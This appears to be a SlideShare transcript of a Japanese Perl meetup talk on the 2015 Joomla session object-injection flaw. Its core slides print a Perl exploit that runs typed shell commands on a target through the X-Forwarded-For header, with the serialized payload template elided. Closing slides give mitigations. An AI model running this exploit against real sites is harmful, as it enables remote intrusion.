SlideShare a Scribd company logo
1 of 17
Download to read offline
CMSとPerlで遊ぼう
2016/1/15 吉祥寺.pm#6
@mahoyaya
@mahoyaya
• Name: mahoyaya
• Work: NWインフラ(?)
• Favorite: DIY
• Twitter: @mahoyaya
• blog: http://mahoyaya.hateblo.jp
• GitHub: https://github.com/mahoyaya
Hardeningで日経デビューしました
みなさんご存知ですか
?
• <<< JPCERT/CC WEEKLY REPORT 2015-12-24 >>>
• 【1】ISC BIND 9 にサービス運用妨害 (DoS) の脆弱性
• 【2】Joomla! に複数の脆弱性
• 【3】Firefox に複数の脆弱性
• 【4】Ruby の標準添付ライブラリに脆弱性
• 【5】Symantec Endpoint Encryption に情報漏えいの脆弱性
• 【6】ScreenOS に複数の脆弱性
• 【7】WordPress 用プラグイン Welcart に SQL インジェクションの脆弱性
• 【8】WinRAR の実行ファイル読込みに脆弱性
• 【9】Ipswitch WhatsUp Gold に複数の脆弱性
Joomlaに深刻な脆弱性、パッ
チ公開2日前から攻撃横行
どんな内容?
• JoomlaはUser-AgentやX-Forwarded-Forなんかのセッション情報をDB
に保存する
• MySQLはUTF-8の4Byte文字列があると、それ以降の文字を切り詰め
る仕様
• セッション情報がMySQLで切り詰められた結果、PHPの
session_encode形式のデータがsession_decodeされた時に文字列の情
報がオブジェクトに化ける
• ディストラクタされるオブジェクトをインジェクションした後に再度同
じセッションにアクセスすると、そのオブジェクトが生成されて・・・
徳丸先生のページ:http://goo.gl/dgPwO0
というわけで、
JoomlaにPerlでObject
injectionしてみた
while(1) {
my $response_header = "";
#========================#
# get command #
#========================#
my $cmd_str = getCmd();
last if $cmd_str =~ m/Aquitz/;
$cmd_str =~ s/^(.+)$/system(’$1');/;
info($cmd_str);
#=========================#
# connect to remote host #
#=========================#
for(my $i = 0; $i < 3; $i++){
# generate payload string
my $request_str = generate_payload($cmd_str, @ary_cookies);
#info($request_str);
info("connect to $host:$port");
info("[send data] " . $request_str);
my $sock;
socket($sock, PF_INET, SOCK_STREAM, 0) or die "can't open socketn";
connect($sock, $sock_addr) or die "can't connect remote hostn";
# no buffered sock $sock
select($sock); $|=1; select(STDOUT);
ssend($sock, $request_str);
#=====================#
# get http response #
#=====================#
# print headers
$response_header = "";
while (<$sock>){
print $_;
$response_header .= $_;
last if m/^rn$/;
}
# print body
$|=1;
while (<$sock>){
if( $print > 0){
print $_;
}
}
#====================================#
# get cookie and print status code #
#====================================#
for my $line (split("rn", $response_header)){
if($line =~ m/ASet-Cookie: /){
$line =~ s/ASet-//;
my @ary = split(";", $line);
push(@ary_cookies, $ary[0]);
info("<" . $ary[0] . ">");
} elsif($line =~ m|AHTTP/1.1 |){
my $status = $line;
$status =~ s|AHTTP/1.1 ([0-9]{3}) .+z|$1|;
info("<Response: " . $status . ">");
}
}
close($sock) if defined $sock;
print "================================n";
} # end for loop
} # end while
sub php_str_noquotes {
my $data = shift;
my $encoded = "";
for(split("", $data)){
$encoded .= 'chr(' . unpack("C", $_) . ').';
}
return substr($encoded, 0, length($encoded) - 1);
}
sub generate_payload {
my $php_payload = shift;
my $aref_cookies = shift;
my $request_str = "";
$php_payload = 'eval(' . php_str_noquotes($php_payload) . ')';
my $terminate = "xf0xfdxfdxfd";
my $exploit_template = <シリアライズしたセッションデータ+$php_payload>
$exploit_template .= $terminate; #utf8 4byte char
# set headers
my $ua = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3';
my $xff = 'x-forwarded-for: ' . $exploit_template;
$request_str = append($request_str, "GET " . $request_url . " HTTP/1.1");
$request_str = append($request_str, "Host: " . $host . ":" . $port);
$request_str = append($request_str, "Accept-Encoding: gzip, deflate");
$request_str = append($request_str, $xff);
$request_str = append($request_str, "Accept: */*");
$request_str = append($request_str, $ua);
$request_str = append($request_str, "Connection: close");
$request_str = appendAll($request_str, $aref_cookies);
$request_str = append($request_str, "");
return $request_str;
}
DEMO
なんでも出来て楽しい
!
それPerl6でできるよ
はじめて2日、Perl6はなかな
か良いが・・・
• バージョン違いもあるが、手元のWinとMacで動作が全く異なる部分がある
’split(“”,:skip-empty)’とか
• 文字出力でsegmentation fault 11
文字列連結でmalformed utf-8
socketからのデータ受信でmalformed utf-8
わけわからんよ・・・
• はじめたばかりでルールがとっつきにくい(ちゃんと覚えれば超便利だと思
う
• コンストラクタの引数設定がいまいちよくわからん。
submodule BUILDで逃げられるが引数が必須になる。
DEMO 2
脆弱性のあるJoomla(?)でObject
injectionされないために
• Joomlaが悪い感じになってるけど、Joomlaの脆弱性というより、PHPのセッションデシリ
アライザとMySQLの仕様の問題
• 最新のPHPでは修正されている
PHP-5.4.45
PHP-5.5.29
PHP-5.6.13
PHP-7.0.0
• アプリケーション側で対応したバージョンを導入する(例:Joomla! 3.4.6)
• MySQL 5.5.3 以降で使える utf8mb4 エンコーディングを使用する
• セッションストレージとしてMySQLを避ける。(MariaDBでは起きない)
• バリデーションによりUTF-8の4バイト形式をエラーにする
<F0..F7> <[80..BF]>*3
徳丸先生のページ:http://goo.gl/dgPwO0
おわり

More Related Content

What's hot

omoon.org の裏側 〜FuelPHP の task 活用例〜
omoon.org の裏側 〜FuelPHP の task 活用例〜omoon.org の裏側 〜FuelPHP の task 活用例〜
omoon.org の裏側 〜FuelPHP の task 活用例〜Sotaro Omura
 
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LTNorikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LTMasahiro Nagano
 
PHP AST 徹底解説(補遺)
PHP AST 徹底解説(補遺)PHP AST 徹底解説(補遺)
PHP AST 徹底解説(補遺)do_aki
 
php7's ast
php7's astphp7's ast
php7's astdo_aki
 
モダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasiaモダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasia鉄次 尾形
 
最新PHP事情 (2000年7月22日,PHPカンファレンス)
最新PHP事情 (2000年7月22日,PHPカンファレンス)最新PHP事情 (2000年7月22日,PHPカンファレンス)
最新PHP事情 (2000年7月22日,PHPカンファレンス)Rui Hirokawa
 
15分でCakePHPを始める方法(Nseg 2013-11-09 )
15分でCakePHPを始める方法(Nseg 2013-11-09 )15分でCakePHPを始める方法(Nseg 2013-11-09 )
15分でCakePHPを始める方法(Nseg 2013-11-09 )hiro345
 
PHPの今とこれから 2013
PHPの今とこれから 2013PHPの今とこれから 2013
PHPの今とこれから 2013Rui Hirokawa
 
Hack/HHVM 入門
Hack/HHVM 入門Hack/HHVM 入門
Hack/HHVM 入門y-uti
 
Spectacular Future with clojure.spec
Spectacular Future with clojure.specSpectacular Future with clojure.spec
Spectacular Future with clojure.specKent Ohashi
 
VarnishではじめるESI
VarnishではじめるESIVarnishではじめるESI
VarnishではじめるESIIwana Chan
 
PHP5.5新機能「ジェネレータ」初心者入門
PHP5.5新機能「ジェネレータ」初心者入門PHP5.5新機能「ジェネレータ」初心者入門
PHP5.5新機能「ジェネレータ」初心者入門kwatch
 
サーバー実装いろいろ
サーバー実装いろいろサーバー実装いろいろ
サーバー実装いろいろkjwtnb
 
PHP, Now and Then 2011
PHP, Now and Then 2011PHP, Now and Then 2011
PHP, Now and Then 2011Rui Hirokawa
 
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)Rui Hirokawa
 
PHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 とPHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 とdo_aki
 

What's hot (20)

omoon.org の裏側 〜FuelPHP の task 活用例〜
omoon.org の裏側 〜FuelPHP の task 活用例〜omoon.org の裏側 〜FuelPHP の task 活用例〜
omoon.org の裏側 〜FuelPHP の task 活用例〜
 
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LTNorikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
 
PHP AST 徹底解説(補遺)
PHP AST 徹底解説(補遺)PHP AST 徹底解説(補遺)
PHP AST 徹底解説(補遺)
 
php7's ast
php7's astphp7's ast
php7's ast
 
Ruby 2.5
Ruby 2.5Ruby 2.5
Ruby 2.5
 
モダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasiaモダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasia
 
HHVM Hack
HHVM HackHHVM Hack
HHVM Hack
 
最新PHP事情 (2000年7月22日,PHPカンファレンス)
最新PHP事情 (2000年7月22日,PHPカンファレンス)最新PHP事情 (2000年7月22日,PHPカンファレンス)
最新PHP事情 (2000年7月22日,PHPカンファレンス)
 
15分でCakePHPを始める方法(Nseg 2013-11-09 )
15分でCakePHPを始める方法(Nseg 2013-11-09 )15分でCakePHPを始める方法(Nseg 2013-11-09 )
15分でCakePHPを始める方法(Nseg 2013-11-09 )
 
Zabbix API
Zabbix APIZabbix API
Zabbix API
 
あらためてPHP5.3
あらためてPHP5.3あらためてPHP5.3
あらためてPHP5.3
 
PHPの今とこれから 2013
PHPの今とこれから 2013PHPの今とこれから 2013
PHPの今とこれから 2013
 
Hack/HHVM 入門
Hack/HHVM 入門Hack/HHVM 入門
Hack/HHVM 入門
 
Spectacular Future with clojure.spec
Spectacular Future with clojure.specSpectacular Future with clojure.spec
Spectacular Future with clojure.spec
 
VarnishではじめるESI
VarnishではじめるESIVarnishではじめるESI
VarnishではじめるESI
 
PHP5.5新機能「ジェネレータ」初心者入門
PHP5.5新機能「ジェネレータ」初心者入門PHP5.5新機能「ジェネレータ」初心者入門
PHP5.5新機能「ジェネレータ」初心者入門
 
サーバー実装いろいろ
サーバー実装いろいろサーバー実装いろいろ
サーバー実装いろいろ
 
PHP, Now and Then 2011
PHP, Now and Then 2011PHP, Now and Then 2011
PHP, Now and Then 2011
 
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
 
PHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 とPHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 と
 

Viewers also liked

ぼんやりした大人が趣味でプログラミングを始めたら
ぼんやりした大人が趣味でプログラミングを始めたらぼんやりした大人が趣味でプログラミングを始めたら
ぼんやりした大人が趣味でプログラミングを始めたらHiroaki KADOMATSU
 
ソフトウェアメトリクス概要 20160514
ソフトウェアメトリクス概要 20160514ソフトウェアメトリクス概要 20160514
ソフトウェアメトリクス概要 20160514Yutaka Ohwada
 
ある工場のRedmine画面カスタム【View customize plugin 活用例】
ある工場のRedmine画面カスタム【View customize plugin 活用例】ある工場のRedmine画面カスタム【View customize plugin 活用例】
ある工場のRedmine画面カスタム【View customize plugin 活用例】Kohei Nakamura
 
Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善Yuuki Nara
 
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−Go Maeda
 
Redmineでメトリクスを見える化する方法
Redmineでメトリクスを見える化する方法Redmineでメトリクスを見える化する方法
Redmineでメトリクスを見える化する方法Hidehisa Matsutani
 
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
Yapc8oji: セキュリティテストサービスを開発運営してきた2年Yapc8oji: セキュリティテストサービスを開発運営してきた2年
Yapc8oji: セキュリティテストサービスを開発運営してきた2年ichikaway
 
PM Beginners #3:メンバの考えていること、共有できてます?
PM Beginners #3:メンバの考えていること、共有できてます?PM Beginners #3:メンバの考えていること、共有できてます?
PM Beginners #3:メンバの考えていること、共有できてます?YASUKAZU NAGATOMI
 
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]YASUKAZU NAGATOMI
 
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
工数把握のすすめ 〜WorkTimeプラグインの使い方〜工数把握のすすめ 〜WorkTimeプラグインの使い方〜
工数把握のすすめ 〜WorkTimeプラグインの使い方〜Tomohisa Kusukawa
 
View customize pluginを使いこなす
View customize pluginを使いこなすView customize pluginを使いこなす
View customize pluginを使いこなすonozaty
 
Redmine 300 310_new_feature
Redmine 300 310_new_featureRedmine 300 310_new_feature
Redmine 300 310_new_featureJun Naitoh
 
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』akiko_pusu
 
チケットの棚卸し ウチではこうしてます
チケットの棚卸し ウチではこうしてますチケットの棚卸し ウチではこうしてます
チケットの棚卸し ウチではこうしてます靖宏 田中
 
Redmineによるwebサポート窓口の実装と運用
Redmineによるwebサポート窓口の実装と運用Redmineによるwebサポート窓口の実装と運用
Redmineによるwebサポート窓口の実装と運用Go Maeda
 
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.Kuniharu(州晴) AKAHANE(赤羽根)
 

Viewers also liked (17)

ぼんやりした大人が趣味でプログラミングを始めたら
ぼんやりした大人が趣味でプログラミングを始めたらぼんやりした大人が趣味でプログラミングを始めたら
ぼんやりした大人が趣味でプログラミングを始めたら
 
ソフトウェアメトリクス概要 20160514
ソフトウェアメトリクス概要 20160514ソフトウェアメトリクス概要 20160514
ソフトウェアメトリクス概要 20160514
 
ある工場のRedmine画面カスタム【View customize plugin 活用例】
ある工場のRedmine画面カスタム【View customize plugin 活用例】ある工場のRedmine画面カスタム【View customize plugin 活用例】
ある工場のRedmine画面カスタム【View customize plugin 活用例】
 
Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善
 
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
 
Redmineでメトリクスを見える化する方法
Redmineでメトリクスを見える化する方法Redmineでメトリクスを見える化する方法
Redmineでメトリクスを見える化する方法
 
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
Yapc8oji: セキュリティテストサービスを開発運営してきた2年Yapc8oji: セキュリティテストサービスを開発運営してきた2年
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
 
PM Beginners #3:メンバの考えていること、共有できてます?
PM Beginners #3:メンバの考えていること、共有できてます?PM Beginners #3:メンバの考えていること、共有できてます?
PM Beginners #3:メンバの考えていること、共有できてます?
 
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
 
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
工数把握のすすめ 〜WorkTimeプラグインの使い方〜工数把握のすすめ 〜WorkTimeプラグインの使い方〜
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
 
View customize pluginを使いこなす
View customize pluginを使いこなすView customize pluginを使いこなす
View customize pluginを使いこなす
 
Redmine 300 310_new_feature
Redmine 300 310_new_featureRedmine 300 310_new_feature
Redmine 300 310_new_feature
 
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
 
Redmine Ansible
Redmine AnsibleRedmine Ansible
Redmine Ansible
 
チケットの棚卸し ウチではこうしてます
チケットの棚卸し ウチではこうしてますチケットの棚卸し ウチではこうしてます
チケットの棚卸し ウチではこうしてます
 
Redmineによるwebサポート窓口の実装と運用
Redmineによるwebサポート窓口の実装と運用Redmineによるwebサポート窓口の実装と運用
Redmineによるwebサポート窓口の実装と運用
 
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
 

Similar to CMSとPerlで遊ぼう

Mojoliciousをウェブ制作現場で使ってみてる
Mojoliciousをウェブ制作現場で使ってみてるMojoliciousをウェブ制作現場で使ってみてる
Mojoliciousをウェブ制作現場で使ってみてるjamadam
 
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方linzhixing
 
20140612_Docker上でCloudStackを動かしてみる!!
20140612_Docker上でCloudStackを動かしてみる!!20140612_Docker上でCloudStackを動かしてみる!!
20140612_Docker上でCloudStackを動かしてみる!!Midori Oge
 
Cinnamon - simple deploy tool
Cinnamon - simple deploy toolCinnamon - simple deploy tool
Cinnamon - simple deploy toolYuki Shibazaki
 
GMO TECHNOLOGY BOOT CAMP2015(PHP編)
GMO TECHNOLOGY BOOT CAMP2015(PHP編)GMO TECHNOLOGY BOOT CAMP2015(PHP編)
GMO TECHNOLOGY BOOT CAMP2015(PHP編)Arata Fujimura
 
恋に落ちるデプロイツール
恋に落ちるデプロイツール恋に落ちるデプロイツール
恋に落ちるデプロイツールtotty jp
 
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...Naoya Ito
 
Apacheの展望とmod_perlの超絶技巧 #yapcasia
Apacheの展望とmod_perlの超絶技巧 #yapcasiaApacheの展望とmod_perlの超絶技巧 #yapcasia
Apacheの展望とmod_perlの超絶技巧 #yapcasia鉄次 尾形
 
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月Masahiro Nagano
 
実践Sass 後編
実践Sass 後編実践Sass 後編
実践Sass 後編kosei27
 
Infrastructure as code for azure
Infrastructure as code for azureInfrastructure as code for azure
Infrastructure as code for azureKeiji Kamebuchi
 
Node予備校 vol.1 名古屋
Node予備校 vol.1 名古屋Node予備校 vol.1 名古屋
Node予備校 vol.1 名古屋Mori Shingo
 
Scripting Layer for Android + Perl
Scripting Layer for Android + PerlScripting Layer for Android + Perl
Scripting Layer for Android + PerlNaoya Ito
 
Zend Frameworkで始める携帯サイト
Zend Frameworkで始める携帯サイトZend Frameworkで始める携帯サイト
Zend Frameworkで始める携帯サイト清水樹
 

Similar to CMSとPerlで遊ぼう (20)

test
testtest
test
 
swooleを試してみた
swooleを試してみたswooleを試してみた
swooleを試してみた
 
Mojoliciousをウェブ制作現場で使ってみてる
Mojoliciousをウェブ制作現場で使ってみてるMojoliciousをウェブ制作現場で使ってみてる
Mojoliciousをウェブ制作現場で使ってみてる
 
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
 
20140612_Docker上でCloudStackを動かしてみる!!
20140612_Docker上でCloudStackを動かしてみる!!20140612_Docker上でCloudStackを動かしてみる!!
20140612_Docker上でCloudStackを動かしてみる!!
 
Cinnamon - simple deploy tool
Cinnamon - simple deploy toolCinnamon - simple deploy tool
Cinnamon - simple deploy tool
 
zsh とわたし
zsh とわたし zsh とわたし
zsh とわたし
 
WDD2012_SC-004
WDD2012_SC-004WDD2012_SC-004
WDD2012_SC-004
 
GMO TECHNOLOGY BOOT CAMP2015(PHP編)
GMO TECHNOLOGY BOOT CAMP2015(PHP編)GMO TECHNOLOGY BOOT CAMP2015(PHP編)
GMO TECHNOLOGY BOOT CAMP2015(PHP編)
 
恋に落ちるデプロイツール
恋に落ちるデプロイツール恋に落ちるデプロイツール
恋に落ちるデプロイツール
 
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
 
Apacheの展望とmod_perlの超絶技巧 #yapcasia
Apacheの展望とmod_perlの超絶技巧 #yapcasiaApacheの展望とmod_perlの超絶技巧 #yapcasia
Apacheの展望とmod_perlの超絶技巧 #yapcasia
 
01 php7
01   php701   php7
01 php7
 
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月
 
実践Sass 後編
実践Sass 後編実践Sass 後編
実践Sass 後編
 
Infrastructure as code for azure
Infrastructure as code for azureInfrastructure as code for azure
Infrastructure as code for azure
 
Mina 20130417
Mina 20130417Mina 20130417
Mina 20130417
 
Node予備校 vol.1 名古屋
Node予備校 vol.1 名古屋Node予備校 vol.1 名古屋
Node予備校 vol.1 名古屋
 
Scripting Layer for Android + Perl
Scripting Layer for Android + PerlScripting Layer for Android + Perl
Scripting Layer for Android + Perl
 
Zend Frameworkで始める携帯サイト
Zend Frameworkで始める携帯サイトZend Frameworkで始める携帯サイト
Zend Frameworkで始める携帯サイト
 

Recently uploaded

Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。iPride Co., Ltd.
 
プレイマットのパターン生成支援ツールの評価
プレイマットのパターン生成支援ツールの評価プレイマットのパターン生成支援ツールの評価
プレイマットのパターン生成支援ツールの評価sugiuralab
 
プレイマットのパターン生成支援ツール
プレイマットのパターン生成支援ツールプレイマットのパターン生成支援ツール
プレイマットのパターン生成支援ツールsugiuralab
 
20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directoryosamut
 
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
新人研修のまとめ       2024/04/12の勉強会で発表されたものです。新人研修のまとめ       2024/04/12の勉強会で発表されたものです。
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。iPride Co., Ltd.
 
PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000Shota Ito
 
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxIoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxAtomu Hidaka
 

Recently uploaded (7)

Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
 
プレイマットのパターン生成支援ツールの評価
プレイマットのパターン生成支援ツールの評価プレイマットのパターン生成支援ツールの評価
プレイマットのパターン生成支援ツールの評価
 
プレイマットのパターン生成支援ツール
プレイマットのパターン生成支援ツールプレイマットのパターン生成支援ツール
プレイマットのパターン生成支援ツール
 
20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory
 
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
新人研修のまとめ       2024/04/12の勉強会で発表されたものです。新人研修のまとめ       2024/04/12の勉強会で発表されたものです。
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
 
PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000
 
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxIoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
 

CMSとPerlで遊ぼう